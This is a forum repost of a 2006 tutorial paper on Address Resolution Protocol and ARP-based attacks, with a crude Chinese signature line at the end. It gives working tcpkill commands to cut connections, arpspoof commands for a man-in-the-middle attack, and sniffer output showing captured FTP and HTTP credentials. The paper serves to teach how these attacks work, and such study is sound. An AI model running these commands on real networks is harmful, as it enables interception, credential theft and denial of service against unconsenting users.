发新话题
打印

[转载]Understanding Address Resolution Protocol Attacks

[转载]Understanding Address Resolution Protocol Attacks

文章作者:cijfer

Copyright (c) 2006 cijfer <cijfer@netti!fi>
All rights reserved.

Table of Contents

  1 About this paper
  2 Introduction to ARP
     2.1 What does ARP mean?
     2.2 The purpose of ARP cache
     2.3 How ARP works
     2.4 Protocol flaws
  3 ARP attack methods
     3.1 Terms & definitions
     3.2 Connection hijacking & interception
     3.3 Connection resetting
     3.4 Man in the middle
     3.5 Packet sniffing
     3.6 Denial of service
  4 References & links
     4.1 Documents
     4.2 Software & programs
  5 Greets

1 About this paper

  In this particular paper, i will be discussing accordingly
  a basic introduction to understanding Address Resolution
  Protocol (ARP) as well as several methods of attack. These
  methods . in no specific order . include detailed
  explanations for hijacking and resetting a users connection
  and/or session, man in the middle attacks, packet sniffing
  on switched environments, and denial of service attacks
  (DoS).

  Concluding the introduction and other sections, i will give
  several links to documents, software, and such to help aid
  in further reference of ARP.

2 Introduction to ARP

2.1 What does ARP mean?

  Address Resolution Protocol (ARP) . a stateless protocol .
  was designed to map Internet Protocol addresses (IP) to
  their associated Media Access Control (MAC) addresses. This
  being said, by mapping a 32 bit IP address to an associated
  48 bit MAC address via attached Ethernet devices, a
  communication between local nodes can be made.

  On a majority of operating systems . such as Linux, FreeBSD,
  and other UNIX based operating systems, and even including
  Windows . the "arp" program is present. This program can be
  used to display and/or modify ARP cache entries. By simply
  running "arp -na" in your terminal, a list of current
  entries in the local ARP cache will show. This includes IP
  addresses, hardware types, MAC (HWaddress) addresses, flag
  masks, associated NIC interfaces, and link types (output
  may vary depending on system).

  An example of the "arp" utility&#39;s output would look like the
  following:

   Windows:
    > arp -a
    Interface: 192.168.1.100 .- 0x10003
    Internet Address    Physical Address    Type
    192.168.1.1        00-13-10-23-9a-53    dynamic

   Linux:
    $ arp -na
    ? (192.168.1.1) at 00:90:B1:DC:F8:C0 [ether] on eth0

   FreeBSD:
    $ arp -na
    ? (192.168.1.1) at 00:00:0c:3e:4d:49 on bge0

  You will notice also that on the Windows example, the Type
  for that particular entry is labeled as "dynamic". Dynamic
  entries in the ARP cache are eligible to be purged from the
  cache. This is avoidable if the entry is labeled as static
  or permanent which is self explanatory by its name. I will
  get into static ARP entries near the end of this paper.

2.2 The purpose of ARP cache

  As stated in section 2.1, the Address Resolution Protocol
  was designed to map IP addresses to MAC addresses. ARP uses
  a cache to keep track of these addresses in a table known as
  the ARP cache. The ARP cache . like any other cache . has
  data stored only temporarily. The average amount of time
  that data is stored in this cache, is normally between 1
  minute to 10 minutes. The Time to Live (TTL) however can be
  much greater than that, such as with Cisco routers, which
  have an estimate TTL of 4 hours. Each system has a different
  TTL period until non-permanent data is cleared - Previous
  cache entries which are obsolete and not used waste space
  and have no purpose being there. Therefore, entries  are
  either updated or purged from the cache completely.

  As stated, the ARP cache has a job to maintain ARP replies
  and data. To reduce the amount of ARP cache entries, the ARP
  cache updates with the newly received IP addresses and
  corresponding MAC address. It does this as a method of
  reducing network traffic. If i were to map the hardware
  address of another node on my local network, the ARP cache
  holds its entry in the cache so i do not have to
  continuously map it out during my communication.

2.3 How ARP works

  Specifically for Internet Protocol Version 4 (IPv4), ARP
  maps IP addresses between the Network layer and Data Link
  layer of the Open System Interconnection (OSI) model.

  The Data Link layer is split into two sublayers, The Media
  Access Control layer, and the Logical Link Control layer.
  The MAC layer has the power to control access to data flow
  and whether or not transmission is permitted. The Logical
  Link Control layer&#39;s job however is to control frame
  synchronization, packet flow (like MAC), and error checking
  throughout data packets. These two sublayers work together
  to create the Data Link layer.

  The next step for successful packet transmission is the most
  important. Transmission itself. The Network layer provides
  the switching and routing by transmitting data between nodes
  on a network. Not only is packet transmission a part of this
  layer, but also addressing, internetworking, error handling,
  and packet sequencing. This layer ensures that each packet
  is sent accordingly to their final destinations without
  errors and possible collision.

  For a more complete and thorough explanation of how address
  resolution works, and protocol specifics, please consult RFC
  826 (David C. Plummer, 1982). RFC 826 was written in 1982 by
  C. Plummer, and is considered to be outdated and complicated
  material to the neophytes. Consult the end of this paper in
  section 5.1 for links to papers regarding ARP, MAC, and
  further discussions on ARP based attacks.
  
2.4 Protocol flaws

  ARP&#39;s main flaw is in its cache. Knowing that it is possible
  for ARP to update existing entries as well as add to the
  cache, this leads one to believe that forged replies can be
  made, which result in ARP cache poisoning attacks. I will
  discuss each type of attack in section 3 as well as terms
  and definitions reviewed in section 3.1.

3 ARP attack methods

3.1 Terms & definitions

  A. ARP Cache Poisoning
    Broadcasting forged ARP replies on a local network. In a
    sense, "fooling" nodes on the network. This can be done
    because ARP lacks authentication features, thus blindly
    accepting any request and reply that is received or sent.
   
  B. MAC Address Flooding
    An ARP cache poisoning attack that is mainly used in
    switched environments. By flooding a switch with fake MAC
    addresses, a switch is overloaded. Because of this, it
    broadcasts all network traffic to every connected node.
    This outcome is referred to as "broadcast mode" because,
    all traffic passing through the switch is broadcasted out
    like a Hub would do. This then can result in sniffing all
    network traffic.
   
3.2 Connection hijacking & interception

  Packet or connection hijacking and interception is the act
  in which any connected client can be victimized into getting
  their connection manipulated in a way that it is possible to
  take complete control over.

  Those whom may be vulnerable to this type of attack, usually
  connect to servers and computers via unencrypted protocols
  such as Telnet or Rlogin. This can result in sniffing, as
  well as connection hijacking and interception.

3.3 Connection resetting

  The name explains itself very well. When we are resetting
  a client&#39;s connection, we are cutting their connection to
  the system. This can be easily done using specially crafted
  code to do so. Luckily, we have wonderful software that was
  made to aid us in doing so.

  One piece of code that is extremely easy to use to do this,
  is within the DSniff collection. To pull this off, we&#39;re
  going to use &#39;tcpkill&#39;. TCPKill&#39;s usage is similar to that
  of TCPDump, both using BPF (Berkeley Packet Filters).

   Cause:
    1. tcpkill -9 port ftp &>/dev/null
    2. tcpkill -9 host 192.168.10.30 &>/dev/null
    3. tcpkill -9 port 53 and port 8000 &>/dev/null
    4. tcpkill -9 net 192.168.10 &>/dev/null
    5. tcpkill -9 net 192.168.10 and port 22 &>/dev/null

   Effect:
    1. Kill connections attempting to access port 21 (ftp)
    2. Kill connections matching the IP &#39;192.168.10.30&#39;
    3. Kill connections attempting to access port 53 and 8000
    4. Kill connections 192.168.10.* (192.168.10.0/24)
    5. Kill connections 192.168.10.* accessing port 22

  TCPKill is mainly used to continously keep the connection of
  the client cut. By simply killing the &#39;tcpkill&#39; process
  after use, will allow the connection to become available
  again. If not, then the remote client will cease to be able
  to connect.

3.4 Man in the middle

  One of the more prominent ways of attacking another user in
  order to hijack their traffic, is by means of a Man In The
  Middle (MITM) attack. Unlike the other attacks, a MITM is
  more a packet manipulation attack which in the end however
  does result in packet redirection to the attacker . all
  traffic will get sent to the attacker doing the MITM
  attack. This attack however is specific. As opposed to MAC
  Address Flooding or other attacks against a router/switch,
  the MITM attack is against a victim, and also can be done
  outside of a switched environment. Thus meaning, an attack
  can be executed against a person on the other side of the
  country . to be more thorough.

  Downsides of a MITM attack is the fact that the victim must
  be connected via an unencrypted protocol. Utilities such as
  Telnet, and Rlogin can be attacked via MITM attacks. There
  also is the possibility of executing a MITM attack against
  encrypted protocols . such as SSH - but I will not get into
  that in this paper.

  A MITM attack could be of great use on operating systems
  such as SunOS/Solaris and IRIX, due to the fact that one of
  the main modes of connection to these operating systems
  happens to be Telnet and Rlogin. Rarely do i see the older
  versions of these operating systems using SSH.

  A basic MITM attack consists of an attacker, victim and
  the target/destination that the victim is communicating
  with. Using a visual representation of this attack would be
  a lot more confusing, so I&#39;m just going to subtly explain
  what is occurring when doing this specific attack. But
  before i begin explaining that, we need to do one thing:

  Enable IP forwarding if not already default.

   Linux:
    # echo 1 > /proc/sys/net/ipv4/ip_forward

   Other:
    # sysctl -w net.inet.ip.forwarding=1
     -OR-
    edit /etc/sysctl.conf

  To double check whether or not IP forwarding is enabled,
  you can simply do the following commands:

   Linux:
    # cat /proc/sys/net/ipv4/ip_forward

   Other:
    # sysctl -A | grep net.inet.ip.forwarding

  If the value is set to "1", then IP forwarding is enabled.

  Continuing on, we&#39;re going to do this also using third party
  utilities. A suggestion for easy usage would be using the
  "arpspoof" utility by Dug Song within his DSniff package.

  One of the good reasons about the "arpspoof" utility, is the
  fact that its extremely simple to use and requires only two
  arguments. Information needed in order to use it, is the
  Victim&#39;s IP address, and the Target/Destination IP address
  that Victim is trying to authenticate with. With these two
  IP addresses, we can continue with our MITM attack. A simple
  example of what "arpspoof" will do is as followed:

   1. Communicate with Victim saying that you&#39;re Destination.
   2. Communicate with Destination saying that you&#39;re Victim.

  This can be easily done by using the following syntax via
  "arpspoof" and two open terminal windows. But before i get
  into that, i just want to make clear about the example IP
  addresses being used:

   Setup:
    Attacker (IP: 2.2.2.2)
    Victim  (IP: 1.1.1.1) <-> Target (IP: 0.0.0.0)

   Term A:
    # arpspoof -t 1.1.1.1 0.0.0.0 &>/dev/null &
    # arpspoof -t 0.0.0.0 1.1.1.1 &>/dev/null &

   Term B:
    # dsniff | less
     -OR-
    # ngrep host 1.1.1.1 | less
     -OR-
    # tcpdump host 1.1.1.1 and not arp | less

  If everything went successfully, then by using one of the
  three optional programs in Term B, you should be able to
  sniff all traffic that is being sent between Victim and the
  Target/Destination.

  If at all something did not go as planned, then there could
  be several reasons. One reason could be that the Victim has
  static ARP tables . which deny the overwriting of entries
  within the ARP cache table. Another possible reason could be
  a detection system of some sort such as ARPWatch which is an
  ethernet/ip monitoring system. As a reminder, this specific
  MITM attack will not work on encrypted protocols . explained
  in this section at paragraph 2.

3.5 Packet sniffing

  Sniffing on a Local Area Network (LAN) is quite easy if the
  network is segmented via a hub, rather than a switch. The
  sole difference, is that a switch is organized when sending
  packets, thus entitled "switch" because it switches packets
  between destinations respectively. A hub on the other hand
  broadcasts packets throughout the entire network blindly and
  freely without any specific destination.

  It is of course possible to sniff on a switched environment
  by performing a MAC flood attack. This is vaguely explained
  in section 3.1b on MAC Address Flooding.

  As a result of the MAC flood, the switch will act as a hub,
  and allow the entire network to be sniffed. This gives you a
  chance to use any sort of sniffing software available to you
  to use against the network, and gather packets. A few
  popular sniffing software and programs include: DSniff by
  Dug Song, LinSniffer (one popular version is LinSniffer
  0.666 by humble of rhino9), PHoss by FX and Ettercap by
  Alberto Ornaghi, and Marco Valleri.

  Example output from PHoss:

   [root@genii sniff]# ./PHoss
   PHoss (Phenoelit&#39;s own security sniffer)
   (c) 1999 by Phenoelit (http://www.phenoelit.de)
   $Revision: 1.13 $
   >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
   Source:      192.168.1.100:40895
   Destination:   72.14.0.99:80
   Protocol:     HTTP
   Data:        asrtrin:manheim
   >>>>>>>>>>>>>>>>>>>>>>>>>>>>>
   Source:      192.168.1.105:46537
   Destination:   72.14.0.99:21
   Protocol:     FTP
   Data:        buddy:holly
   [...]

  Example output from TCPDump 3.9.4 (output is not identical):

   [root@genii sniff]# tcpdump -vvX port 21
   tcpdump: listening on eth0, link-type EN10MB (Ethernet),
   capture size 96 bytes

   [...]
   00:45:40.370082 IP (tos 0x0, ttl 111, id 43980, offset 0,
   flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
   localhost.ftp: P, cksum 0x434b (correct), 1:18(17) ack 38
   win 17483
   4500 0039 abcc 4000 6f06 79e6 44ad 954f  E..9..@.o.y.D..O
   5056 bbb9 11f9 0015 6595 ed3d 6f7f 82e1  PV......e..=o...
   5018 444b 434b 0000 5553 4552 206d 7975  P.DKCK..USER.myu
   7365 726e 616d 650d 0a             sername..
   [...]

  Note that we now have a username, which is &#39;myusername&#39;.

   [...]
   00:45:42.467487 IP (tos 0x0, ttl 111, id 43985, offset 0,
   flags [DF], proto: TCP (6), length: 57) localhost.pirhana >
   localhost.ftp: P, cksum 0x3e34 (correct), 18:35(17) ack 72
   win 17449
   4500 0039 abd1 4000 6f06 79e1 44ad 954f  E..9..@.o.y.D..O
   5056 bbb9 11f9 0015 6595 ed4e 6f7f 8303  PV......e..No...
   5018 4429 3e34 0000 5041 5353 206d 7970  P.D)>4..PASS.myp
   6173 7377 6f72 640d 0a             assword..
   [...]

  And now a password, which is &#39;mypassword&#39;. But is this login
  a valid one?

   [...]
   00:45:42.473412 IP (tos 0x0, ttl  64, id 53228, offset 0,
   flags [DF], proto: TCP (6), length: 62) localhost.ftp
   > localhost.pirhana: P, cksum 0xae1b (correct), 72:94(22)
   ack 35 win 5840
   4500 003e cfec 4000 4006 84c1 5056 bbb9  E..>..@.@...PV..
   44ad 954f 0015 11f9 6f7f 8303 6595 ed5f  D..O....o...e.._
   5018 16d0 ae1b 0000 3533 3020 4c6f 6769  P.......530.Logi
   6e20 696e 636f 7272 6563 742e 0d0a     n.incorrect...
   [...]

  It was not :(. But we&#39;ll know when we get a valid one :)).

3.6 Denial of service

  Denial of service is just lame. Try not to do it unless you
  absolutely must unless for penetration testing. Denial of
  service is self explanatory. Denial of service attacks can
  occur when large amounts of unsolicited packets are targeted
  against a specific host and/or optionally on specific ports.
  This may result in the remote node to panic and close the
  port (denying its service), or even shutting down the entire
  system - possibly a reboot.

  As explained in section 3.1b, MAC Address Flooding can be
  considered a Denial of service attack. The main idea of the
  MAC flood, is to generate enough packet data to send toward
  a switch, attempting to make it panic. This of course will
  cause the switch to drop into broadcast mode and broadcast
  all packet data. This however did not result in a crash, or
  the service to be dropped, but to be overloaded.

  For further information on MAC Address Flooding, please read
  back to section 3.1B on its definition.

4 References & links
  
4.1 Documents

  1. http://ietf.org/rfc/rfc826.txt
  2. http://networksorcery.com/enp/protocol/arp.htm
  3. http://man.he.net/?topic=arp&section=all

4.2 Software & programs

  1. ARP0c2  - http://phenoelit.de/arpoc/
  2. Dsniff  - http://monkey.org/~dugsong/dsniff/
  3. Ettercap - http://ettercap.sourceforge.net/
  4. Hunt    - http://packetstormsecurity.org/sniffers/hunt/
  5. Ngrep   - http://ngrep.sourceforge.net/
  6. PHoss   - http://phenoelit.de/phoss/docu.html
  7. Shijack  - http://securiteam.com/tools/5QP0P0K40M.html
  8. Tcpdump  - http://tcpdump.org/

5 Greets

  x80, thank you for proof reading.

_EOF
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题